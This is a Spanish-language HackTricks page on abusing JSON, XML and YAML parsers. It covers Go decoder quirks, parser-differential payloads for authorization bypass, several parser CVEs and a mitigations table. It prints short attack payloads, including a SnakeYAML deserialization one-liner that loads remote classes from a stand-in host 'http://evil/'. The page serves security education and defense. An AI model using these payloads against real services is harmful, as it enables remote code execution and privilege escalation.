JSON, XML & Yaml Hacking & Problemas
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Go JSON Decoder
Se detectaron los siguientes problemas en el JSON de Go aunque también podrían estar presentes en otros lenguajes. Estos problemas fueron publicados en this blog post.
Los parsers JSON, XML y YAML de Go tienen una larga serie de inconsistencias y valores predeterminados inseguros que pueden ser abusados para omitir la autenticación, escalar privilegios o exfiltrar datos sensibles.
(Un)Marshaling de datos inesperados
El objetivo es explotar structs que permiten a un atacante leer/escribir campos sensibles (p.ej., IsAdmin, Password).
- Example Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Vulnerabilidades comunes
- Missing tag (sin etiqueta = el campo sigue siendo analizado por defecto):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Uso incorrecto de
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Forma correcta de evitar que un campo sea (des)serializado:
type User struct {
IsAdmin bool `json:"-"`
}
Diferencias entre parsers
El objetivo es eludir la autorización explotando cómo diferentes parsers interpretan el mismo payload de forma distinta, como en:
- CVE-2017-12635: Apache CouchDB elusión mediante claves duplicadas
- 2022: Zoom 0-click RCE mediante inconsistencia del parser XML
- GitLab 2025: elusión de SAML mediante peculiaridades de XML
1. Campos duplicados:
El encoding/json de Go toma el último campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Otros parsers (p. ej., Java’s Jackson) pueden tomar el primero.
2. Insensibilidad a mayúsculas/minúsculas: Go es insensible a mayúsculas/minúsculas:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Incluso los trucos de Unicode funcionan:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-service mismatch: Imagina:
- Proxy escrito en Go
- servicio AuthZ escrito en Python
Attacker envía:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python ve
UserAction, lo permite - Go ve
AdminAction, lo ejecuta
Confusión de formatos de datos (Polyglots)
El objetivo es explotar sistemas que mezclan formatos (JSON/XML/YAML) o que fallan abiertos ante errores del parser como:
- CVE-2020-16250: HashiCorp Vault analizó JSON con un parser XML después de que STS devolviera JSON en lugar de XML.
El atacante controla:
- La cabecera
Accept: application/json - Control parcial del cuerpo JSON
El parser XML de Go lo analizó de todos modos y confió en la identidad inyectada.
- Payload creado:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Resultado:
- Go JSON parser:
Action_2(insensible a mayúsculas + el último prevalece) - YAML parser:
Action_1(distingue entre mayúsculas y minúsculas) - XML parser: analiza
"Action_3"dentro de la cadena
Vulnerabilidades notables de parsers (2023-2025)
Los siguientes problemas explotables públicamente muestran que el parsing inseguro es un problema multilenguaje — no solo un problema de Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Afecta a:
org.yaml:snakeyaml< 2.0 (usado por Spring-Boot, Jenkins, etc.). - Causa raíz:
new Constructor()deserializa clases Java arbitrarias, lo que permite cadenas de gadgets que culminan en ejecución remota de código. - PoC de una línea (abrirá la calculadora en el host vulnerable):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Solución / Mitigación:
- Actualizar a ≥2.0 (usa
SafeLoaderpor defecto). - En versiones antiguas, use explícitamente
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Afecta a:
libyaml≤0.2.5 (biblioteca C utilizada por muchos bindings de lenguaje). - Problema: Llamar a
yaml_event_delete()dos veces provoca un double-free que los atacantes pueden convertir en DoS o, en algunos escenarios, en explotación del heap. - Estado: El upstream lo rechazó como “API misuse”, pero las distribuciones Linux enviaron 0.2.6 parcheada que libera el puntero a null de forma defensiva.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Afecta a: Tencent RapidJSON antes del commit
8269bc2(<1.1.0-patch-22). - Bug: En
GenericReader::ParseNumber()aritmética sin comprobación permite a los atacantes crear literales numéricos enormes que se desbordan y corrompen el heap — en última instancia permitiendo escalada de privilegios cuando el grafo de objetos resultante se usa para decisiones de autorización.
🔐 Mitigaciones (Actualizado)
| Riesgo | Solución / Recomendación |
|---|---|
| Campos desconocidos (JSON) | decoder.DisallowUnknownFields() |
| Campos duplicados (JSON) | ❌ Sin solución en la stdlib — validar con jsoncheck |
| Coincidencia insensible a mayúsculas (Go) | ❌ Sin solución — validar struct tags + pre-canonicalizar la entrada |
| Datos basura XML / XXE | Usar un parser reforzado (encoding/xml + DisallowDTD) |
| Claves desconocidas en YAML | yaml.KnownFields(true) |
| Deserialización insegura de YAML | Usar SafeConstructor / actualizar a SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Actualizar a 0.2.6 o a una release parcheada por la distro |
| RapidJSON <patched commit | Compilar contra la última versión de RapidJSON (≥ julio de 2024) |
See also
References
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

